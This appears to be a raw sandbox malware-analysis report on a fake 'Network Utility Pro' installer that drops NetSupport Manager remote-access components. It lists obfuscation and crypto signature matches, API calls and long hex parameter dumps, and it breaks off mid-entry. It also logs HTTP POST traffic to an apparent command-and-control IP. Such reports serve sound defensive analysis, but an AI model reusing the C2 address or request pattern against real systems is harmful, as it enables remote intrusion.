00000000-00007184-29655-158-00C0A510 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007184-29655-161-00C0A4E0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007184-29655-162-00C0A4B0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007184-29655-182-00C08190 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007184-29655-182-00C08190 Assembly shows XOR instruction xor eax esp in Stream UID: 00000000-00007184-29655-194-00C0C4B6 Assembly shows XOR instruction xor ecx esp in Stream UID: 00000000-00007184-29655-194-00C0C4B6 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007184-29655-195-00C08AF0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007184-29655-195-00C08AF0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007184-29655-198-00C08E30 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007184-29655-198-00C08E30 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007184-29655-199-00C07C30 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007184-29655-199-00C07C30 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007184-29655-202-00C085B0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007184-29655-202-00C085B0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007184-29655-203-00C089F0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007184-29655-203-00C089F0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007184-29655-214-00C0C439 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007184-29655-214-00C0C439 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007184-29655-215-00C092C0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007184-29655-215-00C092C0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007184-29655-317-00C0C812 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007184-29655-317-00C0C812 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007184-29655-322-00C0EE322f:Tddf,Contains base64 string in header "POST" in header "POST http://151.236.16.15/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 151.236.16.15Connection: Keep-Alive" Contains base64 string in header "http" in header "POST http://151.236.16.15/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 151.236.16.15Connection: Keep-Alive" Contains base64 string in header "3Content" in header "POST http://151.236.16.15/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 151.236.16.15Connection: Keep-Alive" Contains base64 string in header "Type" in header "POST http://151.236.16.15/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 151.236.16.15Connection: Keep-Alive" Contains base64 string in header "form" in header "POST http://151.236.16.15/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 151.236.16.15Connection: Keep-Alive" Contains base64 string in header "15Connection" in header "POST http://151.236.16.15/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 151.236.16.15Connection: Keep-Alive" Contains base64 string in header "Keep" in header "POST http://151.236.16.15/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 151.236.16.15Connection: Keep-Alive" Contains base64 string in header "POST" in header "POST http://151.236.16.15/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 260Host: 151.236.16.15Connection: Keep-Alive" Contains base64 string in header "http" in header "POST http://151.236.16.15/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 260Host: 151.236.16.15Connection: Keep-Alive" Contains base64 string in header "3Content" in header "POST http://151.236.16.15/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 260Host: 151.236.16.15Connection: Keep-Alive" Contains base64 string in header "Type" in header "POST http://151.236.16.15/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 260Host: 151.236.16.15Connection: Keep-Alive" Contains base64 string in header "form" in header "POST http://151.236.16.15/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 260Host: 151.236.16.15Connection: Keep-Alive" Contains base64 string in header "15Connection" in header "POST http://151.236.16.15/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 260Host: 151.236.16.15Connection: Keep-Alive" Contains base64 string in header "Keep" in header "POST http://151.236.16.15/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 260Host: 151.236.16.15Connection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /location/loca.asp HTTP/1.1Host: geo.netsupportsoftware.comConnection: Keep-AliveCache-Control: no-cache"30:T447,The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Contains key cryptographic functions (API string) Matched sigs: Contains reference to crypto DLLs Matched sigs: Found XOR operators (encryption/decryption) Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: HTTP requests contain Base64 strings Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: Reads the cryptographic machine GUID Matched sigs: Contains XOR operation loops [Stream disassembly] Matched sigs: YARA signature match - AES encryption31:T401,The analysis shows use of encryption use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Found XOR operators (encryption/decryption) Matched sigs: Contains XOR operation loops [Stream disassembly] Matched sigs: YARA signature match - AES encryption Matched sigs: Found potential URL in binary/memory Matched sigs: Found potential IP address in binary/memory Matched sigs: Found potential URLs in memory dumps Matched sigs: Contains ability to create a new HTTP request (API string) Matched sigs: Contains ability to communicate with network (API string) Matched sigs: Contains ability to create a HTTP or FTP session (API string) Matched sigs: Calls an API typically used to create a HTTP or FTP session Matched sigs: Calls an API typically used to create a new HTTP request Matched sigs: Contacts server Matched sigs: Contacts domains Matched sigs: Spawned process connects to a network Matched sigs: Possibly tries to communicate over SSL connection (HTTPS)32:T670,Found string "GetCommandLineW" (Indicator: "GetCommandLine"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") file/memory contains long string with (Indicator: "GetCommandLine"; File: "client32.exe") file/memory contains long string with (Indicator: "GetCommandLine"; File: "AudioCapture.dll") file/memory contains long string with (Indicator: "GetCommandLine"; File: "remcmdstub.exe") file/memory contains long string with (Indicator: "GetCommandLine"; File: "TCCTL32.DLL") file/memory contains long string with (Indicator: "GetCommandLine"; File: "is-5QITJ.tmp") file/memory contains long string with (Indicator: "GetCommandLine"; File: "_setup64.tmp") Found string "GetCommandLineA" (Indicator: "GetCommandLine"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found string "GetCursorPos" (Indicator: "GetCursorPos"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found string "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp") Found string "GetCursorPos" (Indicator: "GetCursorPos"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found string "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00001628.00000001.107910.6DE21000.00000020.mdmp") Found string "GetCursorPos" (Indicator: "GetCursorPos"; Source: "00000000-00005220.00000000.103022.00B4D000.00000004.mdmp, 00000000-00005220.00000001.104944.00B4D000.00000004.mdmp")33:T7a5,Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetLocaleInfoA" (Indicator: "GetLocaleInfo"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "EnumSystemLocalesA" (Indicator: "EnumSystemLocales"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetUserDefaultLCID" (Indicator: "GetUserDefaultLCID"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "EnumSystemLocalesW" (Indicator: "EnumSystemLocales"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetSystemDefaultLCID" (Indicator: "GetSystemDefaultLCID"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp") Found reference to API "GetUserDefaultLCID" (Indicator: "GetUserDefaultLCID"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp") Found reference to API "GetLocaleInfoA" (Indicator: "GetLocaleInfo"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp") Found reference to API "EnumSystemLocalesA" (Indicator: "EnumSystemLocales"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp")34:Te36,file/memory contains long string with (Indicator: "postmessage"; File: "AudioCapture.dll") file/memory contains long string with (Indicator: "sendmessage"; File: "remcmdstub.exe") file/memory contains long string with (Indicator: "postmessage"; File: "TCCTL32.DLL") Found reference to API "EnumWindows" (Indicator: "enumwindows"; Source: "00000000-00007184-00000C2B-639106491") Found reference to API "EnumWindowsW" (Indicator: "enumwindows"; Source: "00000000-00007184-00000C2B-639106524") Found reference to API "PostMessageW" (Indicator: "postmessage"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "SendMessageA" (Indicator: "sendmessage"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "EnumChildWindows" (Indicator: "enumchildwindows"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "SendMessageTimeoutA" (Indicator: "sendmessage"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "FindWindowA" (Indicator: "findwindow"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "PostMessageA" (Indicator: "postmessage"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "FindWindowExA" (Indicator: "findwindow"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "SendMessageW" (Indicator: "sendmessage"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "FindWindowExW" (Indicator: "findwindow"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "FindWindowW" (Indicator: "findwindow"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "SendMessageTimeoutW" (Indicator: "sendmessage"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00001628.00000000.105989.02CC0000.00000004.mdmp, 00000000-00001628.00000001.107910.02CC0000.00000004.mdmp, 00000000-00001628.00000002.109828.02CC0000.00000004.mdmp") Found reference to API "IPC client32login SendMessage ret %d (ipc err=%s)" (Indicator: "sendmessage"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "Result of SendMessage %d" (Indicator: "sendmessage"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "Cobrowse FindWindow ret %x" (Indicator: "findwindow"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "Warning: SendMessage to Runplugin took %d ms (possibly unresponsive)" (Indicator: "sendmessage"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "PostMessage(%d,%d,%d) to (%s) e = %s" (Indicator: "postmessage"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "PostMessage WMCLOSE to s%d (%d) ret %d" (Indicator: "postmessage"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "WTSSendMessageA" (Indicator: "sendmessage"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "SendMessageA" (Indicator: "sendmessage"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp")35:T9af,"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetWindowTextW" with parameter "Select the language to use during the installation." - (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetWindowTextW" with parameter "4f004b00" - (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetWindowTextW" with parameter "Cancel" - (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetWindowTextW" with parameter "Select Destination Location" - (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetWindowTextW" with parameter "Where should Network Utility Pro be installed?" - (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetWindowTextW" with parameter "Setup will install Network Utility Pro into the following folder." - (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetWindowTextW" with parameter "To continue, click Next. If you would like to select a different folder, click Browse." - (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetWindowTextW" with parameter "B&rowse..." - (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetWindowTextW" with parameter "At least 44.4 MB of free disk space is required." - (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetWindowTextW" with parameter "&Next" - (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetWindowTextW" with parameter "Select Start Menu Folder" - (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetWindowTextW" with parameter "Where should Setup place the program's shortcuts?" - (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetWindowTextW" with parameter "Setup will create the program's shortcuts in the following Start Menu folder." - (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetWindowTextW" with parameter "&Back" - (UID: 00000000-00005220)36:T330e,"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000180000008a7ab68d63992d72800918010800000034f8180100c72d726e2f81fefeffffff00f8180167412c72d8f7180176412c72000000000000000040f818019e531600e8f7180144000000b01f3403901f3403001f34030000000000000000000000000000000000000000000000000000000000000000a8b66d7544000000b8b66d75fb90192e40f8180189f51600d370200048f81801e3702000ea702000 (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000000058f21801fcf11801226edb7500006b03000000002d6edb7594ad0c132d000000ecb7847680f2180100002a03303f3503e88834031100000080000000c0f1180100002a0344f2180170c8dc75902df567feffffff2d000000d0cc93762700000014f21801856add751c23e27554f21801f85fdd7508000000bb69dc75b269dc753cae0c132d000000ecb7847627000000d0cc937628f218012d000000d0cc93762700000058f21801856add751c23e275a0f218017e8a9276ee8c9276738a927614b7ecd42d000000ecb7847627000000d0cc93762c116b03c0106b0314b7ecd468f21801fc52d07654f31801e08492768cb43aa3feffffff738a9276 (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000018000000e2fe35e463992d72e009f5000800000094f8f50000c72d72e6a4ef96feffffff60f8f50067412c7238f8f50076412c720000000000000000a0f8f5008254890048f8f50044000000d4211c03b4211c03c8201c030000000000000000000000000000000000000000000000000000000000000000a8b66d7519010000b8b66d753c9ebdb3a0f8f500c9148a00d3b0b300a8f8f500e3b0b300eab0b300 (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000018000000e99cce7763992d72b809f50093a8b65174f8f50000c72d72d07aa1f3feffffff4cf8f50003442c72a0f8f500c0fe8900901cb4004c91890038f8f5005991890030f8f500a8e8b400e0f4300501f8f5004c91890054f8f500599189004cf8f500a8e8b400e8bd2f0501000000e8bd2f05a0f8f500dc82940074f8f500fd908900a0f8f500e8bd2f05a0f8f5002600000019be9300e9c1b300a8f8f500f9c1b30000c2b3001901000038c1b300000000000000000001c1320508ee92000b5ac0e100000000 (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000180000004af135e463992d724809f50000c72d725cf8f50000c72d72e6a4ef96feffffff10f8f500cc792c72c0f7f5001901000000800000e5792c722cf8f500ffffffffffffffff0c000000000000002cf8f500000000000000000000000000000000000000000000000000000000000100000000000000ffffffffffffffff0c000000000000002cf8f50000000000a1998900200d3005c994890001000000e463890000000000aa93890034f8f500 (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004000000c570890038f8f500bde1890024fd30050100000004000000e0322f05e8322f0500000000040000008c1cb4004c91890001000000d01b920024fd3005c4f8f500f2df940068f8f50004000000b5c5940098f8f50000000000190100004c2d827515c43d7588f8f5002600280020d1b30088f8f50000000000c4f8f50019d1b300 (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000fcfccf77844fd477b50000001cf8f5000400000000f8f5000c00000020f8f500648607004c010200000000001901000000000000da4fd477c4010000000000000c0000001875a1f33cf8f50083a26e75c40100003bf8f50000000000a0f8f50066d4b200c401000058f8f5004c0164860000000000000000000000000000000000006773e2f235e41200000094f8f5002030747372708900b1a8890090f8f500 (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000ffff00000000f0d2f50038cfcd77443a1c035cd3f50001000000f8391c03443a1c03f8391c03040000000400000000e07775001000005cd3f50001000000f8391c03cd97cd779c97cd774c58a1f3b50f6e75f8391c030000cd77000000009c0f82740000000080ee74750100000000000000f8e2777500000000040000000000000048407675f8e2777560d3f50080e83676f8a61c0380e836765cd3f5000000000080e83676745cd3fdfeffffff000000000000000000000000130000008c772203020000000200000018000000607722038c772203000000002cb5bdb3e0d5f500ddf36b75d4d3f500000000006077220318000000f8f36b7560772203 (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000000000000000000000000000000043003a005c00550073006500720073005c0048004100500055004200570053005c0041007000700044006100740061005c004c006f00630061006c005c004d006900630072006f0000006f00660074005c00570069006e0064006f00770073005c0043006100630068006500730000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff00000000000000000000000060a8220378a82203 (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000a0aa220300001c0300001c03a0aa2203e86d1c03e86d1c037f070000c0001c03d0b81e036cd2f500d2fbcb7701000000ff070000a84e0000a0aa220300001c03000000000000000000001c030000000000000000fc1d00000000000088bc5b0300001c0358a82203e86d1c03e86d1c030000000000000000d0b81e03c4d2f500d2fbcb7701000000ff070000f14e000058a8220300001c030000000088bc5b0320d7f500fcd6f50081f1ea7588bc5b0338dcf500c8d8f500c5f1ea7500001c039834cd7760a8220328d7f5001c60e7750400000020d7f5005c832b7680bc5b03a090ee7500000000dcd3f50000000000 (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000006ec01e0384c01e03 (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff00000000000000000000000086d022039ed02203 (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff00000000000000000000000046d722035ad72203 (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000b6d12203ced12203 (UID: 00000000-00005220)37:T21ca,"powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000080000580f00000d006d00a2000000b1080000a1000000a1080000c9570000000000000000000036a8ffff6d00650000000000b1080000001000000000000018a8cc000800000810220000d010ce002885cc006e006600690067005c006d0061006300680069006e0065002e0063006f006e0066006900670000004038cc00 (UID: 00000000-00007184) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000000001d038000000000000000a11400000ccddd09ee13cd7780000000ee13cd77000000000000000080000000f0628571000000002ccddd095072db7500001d030000000080000000f062857102000000002f857148cddd09fb6285710100000080048671885fdd7500000000fb7c271778cddd09b8648571f42e8571 (UID: 00000000-00007184) "client32.exe" called "GetVersionExA" with parameter 9c0000000600000002000000f02300000200000000ffffff24000000a8f98f000400000020000000a1bca36fecfb8f00588a6d7550ded1b720104000a33acc0200507f00c8b150bf00000011003038000000000198009a00dcf98f005c004400650076006900630065005c0048006100720064006400690073006b0056006f006c0075006d00650032005c005500730065007200 (UID: 00000000-00001628) "client32.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001628) "client32.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000c0000000000cc0258f88f000000000000000000000000000000000000000000d007a0021800000000000000630000000000a002319e44ad4b292d72b0098f000a000000c8e7ce0220b9ce021800000000000000200000000000a002c401a0023c09a002000000003809a0021400000050f88f00 (UID: 00000000-00001628) "client32.exe" called 